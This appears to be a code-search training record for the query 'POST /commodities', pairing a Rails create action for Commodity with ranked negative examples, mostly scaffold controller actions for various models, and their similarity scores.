"def new\n @new_comm = NewComm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_comm }\n end\n end",
"def new\n @competency = Competency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competency }\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :created, location: @commodity }\n else\n format.html { render :new }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @breadcrumb = 'create'\n @product = $product\n @company = $company\n @product_company_price = ProductCompanyPrice.new\n @suppliers = suppliers_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_company_price }\n end\n end",
"def new\n @lab_equipment = LabEquipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_equipment }\n end\n end",
"def new\n @city = City.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @city }\n end\n end",
"def new\r\n @company = Company.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @company }\r\n end\r\n end",
"def new\n @mostsmallitemequipinventory = Mostsmallitemequipinventory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallitemequipinventory }\n end\n end",
"def new\n @competent = Competent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competent }\n end\n end",
"def new\n @comming_soon = CommingSoon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comming_soon }\n end\n end",
"def new\n return unless representsCompany?\n\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end",
"def new\n unless session[:admin]\n redirect_to lents_url\n return\n end\n\n @lent = Lent.new\n @free_cars = Car.where(condition: Car::Free).map{|x| x[:id]}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lent }\n end\n end",
"def dispense_commodity\n @commodity.new\n end",
"def new\n @closet_item = ClosetItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @closet_item }\n end\n end",
"def new\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def new\n @charity = CharityOfTheMonth.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @charity }\n end\n end",
"def new\n @commemt = Commemt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commemt }\n end\n end",
"def new\n @supplysite = Supplysite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplysite }\n end\n end",
"def new\n @equipo = Equipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo }\n end\n end",
"def new\n @opportunity_type = OpportunityType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_type }\n end\n end",
"def new\n @part_company = PartCompany.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_company }\n end\n end",
"def new\n @portion = Portion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @portion }\n end\n end",
"def new\n @lab_supplier = LabSupplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_supplier }\n end\n end",
"def new\n @reserf = Reserve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reserf }\n end\n end",
"def new\n @complexity = Complexity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complexity }\n end\n end",
"def new\n @company = companies_scope.new\n @company.build_location\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n @regios = Regio.find(:all)\n @sectors = Sector.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @company }\n end\n end",
"def new\n @vessel = Vessel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vessel }\n end\n end",
"def new\n @equipamento = Equipamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @equipamento }\n end\n end",
"def new\n @costtype = Costtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @costtype }\n end\n end",
"def new\n @comp_info = CompInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comp_info }\n end\n end",
"def new\n @onecompany_product = Onecompany::Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @onecompany_product }\n end\n end",
"def new\n @accommodation_change = AccommodationChange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accommodation_change }\n end\n end",
"def new\n\n return unless representsCompany?\n\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end",
"def new\n @poi_category = PoiCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @poi_category }\n end\n end",
"def new\n @county = County.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @county }\n end\n end",
"def new\n @civilization = Civilization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @civilization }\n end\n end",
"def new\n @product = Product.new\n\n render json: @product\n end",
"def new\n @crate_priority = CratePriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @crate_priority }\n end\n end",
"def new\n @park = Park.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @park }\n end\n end",
"def new\n @plate_cost = PlateCost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plate_cost }\n end\n end",
"def new\n @internship = Internship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internship }\n end\n end",
"def new\n @internship = Internship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @internship }\n end\n end",
"def new\n @project = Project.new :company_id => params[:company_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @cyclist = Cyclist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cyclist }\n end\n end",
"def new\n\t\t@company = Company.new\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @company }\n\t\tend\n\tend",
"def new\n @slot = Slot.new\n\n @slots = Slot.opening_hours.where(:company_id => current_user.company.id)\n @available_days = get_available_days(@slots)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slot }\n end\n end",
"def new\n @contractor_feature = ContractorFeature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contractor_feature }\n end\n end",
"def new\n @territory = Territory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @territory }\n end\n end",
"def new\n @related_product = RelatedProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @related_product }\n end\n end",
"def new\n @mostsmalltrapeffectinventory = Mostsmalltrapeffectinventory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmalltrapeffectinventory }\n end\n end",
"def new\n @weather = Weather.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weather }\n end\n end",
"def new\n @weather = Weather.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weather }\n end\n end",
"def new\n @speciality = Speciality.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @speciality }\n end\n end",
"def new\n @weather = Weather.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weather }\n end\n end",
"def new\n @fleet = Fleet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fleet }\n end\n end",
"def new\n @conductor = Conductor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conductor }\n end\n end",
"def new\n @conductor = Conductor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conductor }\n end\n end",
"def new\n @quantity = Quantity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quantity }\n end\n end",
"def new\n @competicao = Competicao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competicao }\n end\n end",
"def new\n @breadcrumb = 'create'\n @work_order_labor = WorkOrderLabor.new\n @types = work_order_types_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_order_labor }\n end\n end",
"def new\n @orc = Orc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orc }\n end\n end",
"def new\n @comic = Comic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comic }\n end\n end",
"def new\n @sitecity = Sitecity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sitecity }\n end\n end",
"def new\n @price_level = PriceLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price_level }\n end\n end",
"def new\n @breadcrumb = 'create'\n @product = $product\n @supplier = $supplier\n @purchase_price = PurchasePrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_price }\n end\n end",
"def new\n @corporation = Corporation.new\n @page_header = \"Добавление новой Корпорации\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corporation }\n end\n end",
"def new\n @equipcat = Equipcat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipcat }\n end\n end",
"def new \n set_tab :shopping_new\n @shopping = Shopping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @shopping }\n end\n \n end",
"def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end",
"def new\n @product_price = ProductPrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_price }\n end\n end",
"def new\n @ins_company = InsCompany.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ins_company }\n end\n end",
"def new\n @product = Product.new\n @categories = Category.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product }\n end\n end",
"def new\n @contractor_type = ContractorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contractor_type }\n end\n end",
"def new\n @m_oil = MOil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_oil }\n end\n end",
"def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end",
"def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end",
"def new\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operation }\n end\n end",
"def new\n @facility = Facility.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @facility }\n end\n end",
"def new\n @variety = Variety.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @variety }\n end\n end",
"def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end"
] | [
"0.7340427",
"0.7268655",
"0.72582453",
"0.71029323",
"0.68209285",
"0.6761093",
"0.67424864",
"0.6718772",
"0.67086834",
"0.670618",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.6700866",
"0.66807693",
"0.6665024",
"0.66626513",
"0.6633862",
"0.6633486",
"0.6573466",
"0.6556264",
"0.6554158",
"0.65475494",
"0.6547043",
"0.654476",
"0.6544434",
"0.65432984",
"0.6536569",
"0.65364474",
"0.65323013",
"0.65236455",
"0.65187514",
"0.65143436",
"0.6508692",
"0.64979994",
"0.64846987",
"0.6484118",
"0.6479084",
"0.64686674",
"0.6466385",
"0.6454162",
"0.6448605",
"0.64329046",
"0.6429848",
"0.6429784",
"0.64251775",
"0.6417311",
"0.64148045",
"0.641235",
"0.6411242",
"0.64045674",
"0.64031833",
"0.6401452",
"0.6394453",
"0.6394453",
"0.6393043",
"0.63895226",
"0.6387884",
"0.63866687",
"0.6384583",
"0.63827604",
"0.6379813",
"0.6377825",
"0.6376835",
"0.6376835",
"0.6374875",
"0.63659835",
"0.63658583",
"0.6365264",
"0.6365264",
"0.63624555",
"0.63612795",
"0.635982",
"0.63584346",
"0.6350681",
"0.6349445",
"0.634582",
"0.63438845",
"0.6338515",
"0.63329256",
"0.63322",
"0.6332156",
"0.63315326",
"0.63287556",
"0.63271344",
"0.6327067",
"0.6325698",
"0.63253707",
"0.63253707",
"0.6324633",
"0.6318186",
"0.63166535",
"0.6315068"
] | 0.78646743 | 1 |
POST /commodities POST /commodities.json | def create
@commodity = Commodity.new(commodity_params)
respond_to do |format|
if @commodity.save
format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }
format.json { render json: @commodity, status: :created, location: @commodity }
else
format.html { render action: "new" }
format.json { render json: @commodity.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :created, location: @commodity }\n else\n format.html { render :new }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def commodity_params\n params.require(:commodity).permit(:name, :code, :commodity_type_id, :bar_code, :specification, :unit, :cost, :sale, :low_stock, :high_stock)\n end",
"def index\n @commodities = Commodity.all\n\n respond_to do |format|\n format.html # index.html.erb\n @commoditis = Array.new\n format.json {\n @commodities = @commodities.select{|commodity|\n commoditi = Hash.new\n commodity.attributes.each do |key, value|\n commoditi[key] = value\n end\n commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),\n commodity_path(commodity))\n @commoditis.push(commoditi)\n }\n render json: {:aaData => @commoditis}\n }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def dispense_commodity\n @commodity.new\n end",
"def index\n @commodities = Commodity.all\n if params[:search].present?\n @commodities = @commodities.query(params[:search].to_s)\n end\n @commodities = @commodities.page(params[:page])\n respond_to do |format|\n format.html\n format.js {} \n format.json { \n render json: {:commodities => @commodities}\n } \n end\n end",
"def set_commodity\n @commodity = Commodity.find(params[:id])\n end",
"def index\n @categories = Category.all\n @commodities = current_user.commodities.order(\"created_at desc\")\n @selled = @commodities.where(:num => 0).page(params[:page]).per(15)\n @selling = @commodities.where(\"num > ?\", 0).page(params[:page]).per(15)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def commodities(commodities_hash)\n return self if commodities_hash.nil?\n\n commodities_hash.each do |commodity_hash|\n @sim_data.add_commodity(Commodity.new(commodity_hash['Name']))\n end\n\n self\n end",
"def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend",
"def accommodation_params\n params.require(:accommodation).permit(:name, :price, :city, :description, :user_id, :rooms)\n end",
"def create\n render json: Company.create(params[\"company\"])\n end",
"def new\n @commodity = Commodity.new\n old_commodity = Commodity.find(params[:id]) if params[:id]\n if old_commodity\n @commodity.name = old_commodity.name\n @commodity.desc = old_commodity.desc\n @commodity.price = old_commodity.price\n @category = old_commodity.categories.first\n end\n @category = Category.first\n if @category == nil\n redirect_to commodities_path\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end\n end",
"def create\n\n product_details = params.permit(:title, :inventory_count, :price)\n success = Product.create(product_details)\n\n render json: { success: success }\n end",
"def show\n @categories = Category.all\n @commodity = Commodity.find(params[:id])\n @comment = Comment.new\n @comment.commodity = @commodity\n @order = Order.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n @expense = Expense.new(expense_params)\n\n b_id = Building.search(@expense.buildinginfo)\n Building.find_by(id: b_id).expenses << @expense\n \n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @accommodation = Accommodation.new(accommodation_params)\n\n respond_to do |format|\n if @accommodation.save\n format.html { redirect_to @accommodation, notice: 'Accommodation was successfully created.' }\n format.json { render :show, status: :created, location: @accommodation }\n else\n format.html { render :new }\n format.json { render json: @accommodation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def oportunity_params\n params.require(:oportunity).permit(:name, :description, :budget, :money, :published_date, :deadline, :result_date, :company_id, :category_id, :status)\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def create\n # Get the variables passed in from params on create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense, status: :created, location: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n @carpool = Carpool.new(params[:carpool])\n\n respond_to do |format|\n if @carpool.save\n format.html { redirect_to @carpool, notice: 'Carpool was successfully created.' }\n format.json { render json: @carpool, status: :created, location: @carpool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @carpool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def commodity_headings=(commodities)\n @commodity_headings ||= []\n\n commodities.each do |commodity|\n if existing_heading = find_heading(commodity.heading)\n existing_heading.add_commodity(commodity)\n else\n @commodity_headings << build_heading_from(commodity).tap { |heading|\n heading.add_commodity(commodity)\n }\n end\n end\n end",
"def facility_params\n params.require(:facility).permit(:name, :hotel_id, :price, :internet, :parking, :accomodation, :swimming_pool, :pa_system, :bar, :area, :capacity => [], :facility_layouts => [])\n end",
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(commodity_params)\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competency = Competency.new(competency_params)\n respond_to do |format|\n if @competency.save\n format.json { render :show, status: :created, location: @competency }\n else\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @intelcompany = IntelCompany.new(intelcompany_params)\n\n if @intelcompany.save\n render json: @intelcompany, status: :created, location: @intelcompany\n else\n render json: @intelcompany.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def show\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(params[:commodity])\n format.html { redirect_to @commodity, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.num = 0\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully canceled.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n end\n end\n end",
"def create\n\t the_params = company_params\n\t the_params[:rating] = 0\n\t the_params[:number_of_votes] = 0\n @company = Company.new(the_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company = Company.new(company_params)\n @data = return_all_details(company_params[:places_id])\n respond_to do |format|\n if @company.save\n @company.update(rating: @data[\"result\"][\"rating\"])\n @company.update(phone_number: @data[\"result\"][\"formatted_phone_number\"])\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @modalities = Modality.create!(modality_params)\n json_response(@modalities, :created)\n end",
"def create\n @category = Category.first\n @commodity = Commodity.new(params[:commodity])\n @commodity.user = current_user\n category = Category.find(params[:category])\n\n size = 0\n size = params[:commodity][:photo].size if params[:commodity][:photo]\n\n respond_to do |format|\n if size > 2000000\n @commodity.errors[:base] << \"Photo size should < 2MB\"\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n else\n if @commodity.save\n if category\n @commodity.commodity_cates.create(:category => category)\n end\n\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @equity = Equity.new(equity_params)\n\n respond_to do |format|\n if @equity.save\n format.html { redirect_to @equity, notice: 'Equity was successfully created.' }\n format.json { render :show, status: :created, location: @equity }\n else\n format.html { render :new }\n format.json { render json: @equity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end",
"def create\n count = person_equipment_params[:count].to_i\n params = person_equipment_params.merge(count: 1)\n @person_equipments = []\n count.times do |i|\n @person_equipments << PersonEquipment.new(params)\n end\n @person_equipments.each(&:save)\n respond_to do |format|\n if @person_equipments.last.save\n format.html { redirect_to @person_equipments.last, status: 303 }\n format.json { redirect_to @person_equipments.last, status: 303 }\n else\n format.html { render :new }\n format.json { render json: @person_equipments.last.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oportunity = Oportunity.new(oportunity_params)\n\n respond_to do |format|\n if @oportunity.save\n format.html { redirect_to @oportunity, notice: 'Oportunity was successfully created.' }\n format.json { render :show, status: :created, location: @oportunity }\n else\n format.html { render :new }\n format.json { render json: @oportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end",
"def create\n if @company = Company.find(entity_id_from_params(:company))\n respond_to do |format|\n current_user.account.companies << @company\n format.html { redirect_to root_path, notice: 'Company was successfully created.' }\n format.json\n end\n end\n end",
"def create\n @company = @community.companies.new(company_params)\n\n respond_to do |format|\n if @company.save\n format.html { redirect_to @company, notice: 'Company was successfully created.' }\n format.json { render :show, status: :created, location: @company }\n else\n format.html { render :new }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @charity = Charity.new(charity_params)\n\n respond_to do |format|\n if @charity.save\n format.html { redirect_to @charity, notice: \"Charity was successfully created.\" }\n format.json { render :show, status: :created, location: @charity }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @charity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competency = Competency.new(params[:competency])\n\n respond_to do |format|\n if @competency.save\n format.html { redirect_to @competency, notice: 'Competency was successfully created.' }\n format.json { render json: @competency, status: :created, location: @competency }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @commodity.update(commodity_params)\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :ok, location: @commodity }\n else\n format.html { render :edit }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @equipment_order = EquipmentOrder.new(equipment_order_params)\n @equipment_order.save\n respond_to do |format|\n format.html { redirect_to equipment_orders_path, status: 303 }\n format.json { redirect_to equipment_orders_path, status: 303 }\n end\n end",
"def create\n @periodicity = current_user.periodicities.new(periodicity_params)\n\n respond_to do |format|\n if @periodicity.save\n format.html { redirect_to @periodicity, notice: 'Periodicity was successfully created.' }\n format.json { render :show, status: :created, location: @periodicity }\n else\n format.html { render :new }\n format.json { render json: @periodicity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @petty_cash_expense = PettyCashExpense.new(petty_cash_expense_params)\n\n respond_to do |format|\n if @petty_cash_expense.save\n format.json { render :show, status: :created, location: @petty_cash_expense }\n else\n format.json { render json: @petty_cash_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def create\n @laboratory = Laboratory.new(params[:laboratory])\n @municipalities = Municipality.all\n respond_to do |format|\n if @laboratory.save\n format.html { redirect_to @laboratory, notice: 'Laboratory was successfully created.' }\n format.json { render json: @laboratory, status: :created, location: @laboratory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @laboratory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @charity = CharityOfTheMonth.new(params[:charity_of_the_month])\n\n respond_to do |format|\n if @charity.save\n format.html { redirect_to charities_path, notice: 'Charity of the Month was successfully set up!' }\n format.json { render json: @charity, status: :created, location: @charity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @charity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n hotel = current_user.hotel\n if hotel.pricing\n if hotel.id == Roomtype.find_by_id(params[:roomtype_id]).hotel_id\n pricing = Pricing.where(hotel_id: hotel.id).first\n price = Hash.new\n price = pricing.price\n room = params[:roomtype_id].to_i\n price[room] = []\n price[room].push({price: params[:price],start: Date.today,end: Date.today+36524})\n\n\n\n pricing.price = price\n pricing.save\n if request.xhr?\n render :json=>{\n :success=> 'true'\n }\n end\n return\n end\n else\n if hotel.id == Roomtype.find_by_id(params[:roomtype_id]).hotel_id\n pricing = Pricing.new\n pricing.hotel_id = hotel.id\n price = Hash.new\n room = params[:roomtype_id].to_i\n price[room] = []\n price[room].push({price: params[:price],start: Date.today,end: Date.today+36524})\n pricing.price = {}\n pricing.price = price\n pricing.save\n if request.xhr?\n render :json=>{\n :success=> 'true'\n }\n end\n return\n end\n end\n \n \n end",
"def create\n @disponible = Disponible.new(disponible_params)\n\n if @disponible.save\n render json: @disponible, status: :created, location: @disponible\n else\n render json: @disponible.errors, status: :unprocessable_entity\n end\n end",
"def create\n @comunity = Comunity.new(comunity_params)\n\n respond_to do |format|\n if @comunity.save\n format.html { redirect_to @comunity, notice: 'Comunity was successfully created.' }\n format.json { render :show, status: :created, location: @comunity }\n else\n format.html { render :new }\n format.json { render json: @comunity.errors, status: :unprocessable_entity }\n end\n end\n end",
